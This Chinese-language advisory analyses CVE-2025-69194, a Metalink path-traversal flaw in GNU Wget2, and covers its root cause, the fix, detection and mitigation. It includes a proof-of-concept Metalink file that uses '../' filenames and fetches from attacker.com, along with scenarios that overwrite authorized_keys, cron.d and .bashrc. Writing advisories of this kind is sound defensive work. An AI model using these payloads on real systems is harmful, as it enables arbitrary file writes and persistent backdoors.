CVE-2025-69194是GNU Wget2中发现的一个高危路径遍历漏洞,允许远程攻击者通过精心构造的Metalink文档实现任意文件写入。该漏洞源于Wget2在处理Metalink v3/v4文档时,未能正确验证<file name>元素中的文件路径,违反了RFC 5854标准的安全要求。
CVE编号: CVE-2025-69194
漏洞类型: 路径遍历 (CWE-22: Improper Limitation of a Pathname to a Restricted Directory)
披露日期: 2025年12月28日
CVSS v3评分: 8.8 (High) / 9.1 (Critical)
影响版本: GNU Wget2 < 2.2.1
修复版本: GNU Wget2 >= 2.2.1
攻击复杂度: 低
用户交互: 需要
权限要求: 无
该漏洞可能导致以下严重后果:
任意文件覆盖,包括系统关键文件
通过覆盖配置文件或脚本实现远程代码执行
数据丢失或损坏
权限提升(在特定场景下)
建立持久化后门
官方已在2025年12月发布wget2 2.2.1版本修复此漏洞。修复补丁通过引入严格的文件名验证机制,拒绝所有包含路径遍历序列的文件名。
GNU Wget2是GNU Wget的下一代版本,是一个功能强大的命令行文件下载工具。Wget2从头开始重新设计和编写,提供了以下特性:
多线程下载支持
HTTP/2协议支持
并行连接能力
Brotli、LZMA、Zstandard等现代压缩算法支持
Metalink RFC 5854和RFC 6249标准支持
更快的下载速度和更好的性能
Metalink是一种XML格式的元数据标准(RFC 5854),用于描述文件的下载信息。它提供:
多个镜像源URL
文件完整性校验(SHA-256、SHA-1等)
文件大小信息
数字签名支持
Metalink的设计目标是提高下载可靠性和速度,但其安全性依赖于正确的实现。
路径遍历(Path Traversal)是一种常见的安全漏洞,攻击者通过特殊字符序列(如../)突破目录限制,访问或修改预期目录之外的文件。在文件下载场景中,这类漏洞可能导致任意文件写入。
2025年12月28日: CVE-2025-69194正式披露
2025年12月: GNU Wget2 2.2.1版本发布,包含安全修复
2026年1月2日: 部分安全公告发布日期
Red Hat: 将漏洞评级为"Important",CVSS评分8.8
Debian: 在多个发行版(bookworm、bullseye、trixie、sid)中标记wget2包为受影响
Ubuntu: 列出wget2包处于评估状态
Tenable: 报告CVSS v3评分为9.8 (Critical)
Commit ID: 684be4785280fbe6b8666080bbdd87e7e5299ac5
修复位置: libwget/metalink.c
修复方法: 引入sanitized_filename()函数进行文件名验证
GNU Wget2: 所有2.2.1之前的版本
具体版本: v2.2.0及更早版本
Linux (所有发行版)
Unix系统
macOS
其他支持wget2的操作系统
根据各大发行版的安全公告:
Red Hat Enterprise Linux: 受影响
Debian: bookworm、bullseye、trixie、forky、sid
Ubuntu: 多个版本受影响
Fedora: 受影响
Arch Linux: 受影响
其他使用wget2的发行版: 均受影响
目标系统安装了受影响版本的wget2
用户需要处理Metalink文件(用户交互)
攻击者能够诱导用户下载恶意Metalink文件
Metalink文档是基于XML的元数据格式,基本结构如下:
<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="urn:ietf:params:xml:ns:metalink">
<file name="filename.ext">
<size>1024</size>
<hash type="sha256">hash_value</hash>
<url>http://mirror1.example.com/file.ext</url>
<url>http://mirror2.example.com/file.ext</url>
</file>
</metalink>
关键元素:
<file name>: 指定保存的文件名
<size>: 文件大小
<hash>: 文件校验和
<url>: 下载源URL
根据RFC 5854标准,Metalink文件中的路径必须满足:
路径必须是相对路径
路径不得包含任何目录遍历指令或信息
不允许使用绝对路径
漏洞存在于libwget/metalink.c文件中,在解析Metalink文档时直接使用了用户提供的文件名,未进行验证。
漏洞的根本原因是wget2在处理Metalink文档时存在以下问题:
缺少输入验证: 未对<file name>元素进行安全检查
直接信任用户输入: 将Metalink中的文件名直接用于文件系统操作
违反RFC标准: 未实现RFC 5854要求的路径安全限制
wget2在处理Metalink文件名时未检查:
绝对路径(以/开头)
相对路径前缀(./、../)
路径遍历序列(/../)
这种缺陷允许攻击者:
绕过目录限制
写入任意可写位置
覆盖关键系统文件
攻击者创建恶意Metalink文件,在<file name>元素中使用路径遍历序列:
<?xml version="1.0" encoding="UTF-8"?>
<metalink xmlns="urn:ietf:params:xml:ns:metalink">
<file name="../../../tmp/malicious.txt">
<size>100</size>
<hash type="sha256">hash_value</hash>
<url>http://attacker.com/payload.txt</url>
</file>
</metalink>
场景1:覆盖SSH授权密钥
<file name="../../.ssh/authorized_keys">
场景2:劫持Cron任务
<file name="../../../etc/cron.d/backdoor">
场景3:修改Shell配置
<file name="../../.bashrc">
准备阶段
攻击者创建恶意Metalink文件
设置恶意payload托管服务器
投递阶段
通过钓鱼邮件、恶意网站等方式分发Metalink文件
诱导目标用户下载Metalink文件
执行阶段
用户使用wget2处理Metalink文件
wget2解析文件名,未进行验证
文件被写入到攻击者指定的路径
后利用阶段
覆盖的文件在系统运行时被执行
实现代码执行或持久化
社会工程: 诱导用户处理恶意Metalink文件
中间人攻击: 在传输过程中替换合法Metalink文件
供应链攻击: 在软件分发渠道中植入恶意Metalink
系统要求:
Linux操作系统(Ubuntu 22.04推荐)
编译工具链(gcc、make等)
必要的开发库
# 克隆源码
git clone https://gitlab.com/gnuwget/wget2.git
cd wget2
# 切换到漏洞版本
git checkout v2.2.0
# 编译安装
./bootstrap
./configure --prefix=/usr/local
make
sudo make install
# 检查版本
wget2 --version
# 应显示版本号 < 2.2.1
# 检查wget2版本
wget2 --version | grep "GNU Wget2"
# 如果版本 < 2.2.1,则存在漏洞
监控异常文件写入:
监控关键目录的文件修改
检测路径遍历模式
审计wget2进程的文件操作
检查系统日志中的异常活动:
审计日志中的wget2执行记录
检查文件完整性变化
分析进程行为异常
升级到安全版本
# 升级到wget2 2.2.1或更高版本
sudo apt update
sudo apt upgrade wget2
临时禁用Metalink支持
避免处理不可信的Metalink文件
使用--no-metalink选项
最小权限原则
避免以root权限运行wget2
使用专用用户账户
沙箱隔离
在容器或虚拟机中运行wget2
使用AppArmor或SELinux限制权限
部署文件完整性监控工具(如AIDE、Tripwire)
启用系统审计(auditd)
实施实时告警机制
立即升级
升级到wget2 2.2.1或更高版本
验证升级后的版本号
应急响应
检查系统是否已被利用
审查关键文件的完整性
检查异常的文件修改记录
建立补丁管理流程
定期检查安全更新
建立测试和部署流程
安全培训
提高用户安全意识
培训识别恶意文件
官方在commit 684be4785280fbe6b8666080bbdd87e7e5299ac5中修复了此漏洞。
修复核心:引入sanitized_filename()函数
static bool sanitized_filename(const char *fname)
{
if (fname[0] == '/')
return false;
if (fname[0] == '.' && (fname[1] == '/' ||
(fname[1] == '.' && fname[2] == '/')))
return false;
if (strstr(fname, "/../"))
return false;
return true;
}
该函数检查并拒绝:
绝对路径(以/开头)
相对路径前缀(./或../开头)
路径遍历序列(包含/../)
修复后,所有包含路径遍历的Metalink文件将被拒绝处理。
验证修复版本:
# 升级到2.2.1
wget2 --version
# 测试恶意Metalink文件
# 应该被拒绝并报错
CVSS v3.1评分: 8.8 (High) / 9.1 (Critical)
评分向量:
攻击向量(AV): Network
攻击复杂度(AC): Low
权限要求(PR): None
用户交互(UI): Required
影响范围(S): Unchanged
机密性影响(C): High
完整性影响(I): High
可用性影响(A): High
高风险场景:
自动化下载系统
CI/CD管道
软件分发平台
镜像同步服务
中风险场景:
个人开发环境
测试环境
技术难度: 低(易于构造恶意Metalink文件)
利用条件: 需要用户交互
检测难度: 中等
修复难度: 低(官方已提供补丁)
CVE-2025-69194是GNU Wget2中的一个严重路径遍历漏洞,由于程序在处理Metalink文档时未对文件名进行充分验证,攻击者可以构造恶意Metalink文件实现任意文件写入。该漏洞违反了RFC 5854标准的安全要求,可能导致数据丢失、代码执行和系统入侵。
漏洞根源: 缺少输入验证,直接信任Metalink文件中的文件名
影响范围: 所有wget2 < 2.2.1版本
修复方案: 引入sanitized_filename()函数进行严格验证
CVSS评分: 8.8-9.1(高危/严重)
立即行动:
升级所有wget2实例到2.2.1或更高版本
检查系统是否已被利用
审查关键文件完整性
持续改进:
建立补丁管理流程
加强安全监控
提高安全意识
官方安全公告
Red Hat Security Advisory: https://access.redhat.com/security/cve/CVE-2025-69194
Red Hat Bugzilla: https://bugzilla.redhat.com/show_bug.cgi?id=2425773
修复补丁
GitLab Commit: https://gitlab.com/gnuwget/wget2/-/commit/684be4785280fbe6b8666080bbdd87e7e5299ac5
Patch文件: https://gitlab.com/gnuwget/wget2/-/commit/684be4785280fbe6b8666080bbdd87e7e5299ac5.patch
技术标准
RFC 5854 - The Metalink Download Description Format: https://tools.ietf.org/html/rfc5854
CWE-22 - Path Traversal: https://cwe.mitre.org/data/definitions/22.html
项目资源
GNU Wget2 GitLab: https://gitlab.com/gnuwget/wget2
GNU Wget2 GitHub镜像: https://github.com/rockdaboot/wget2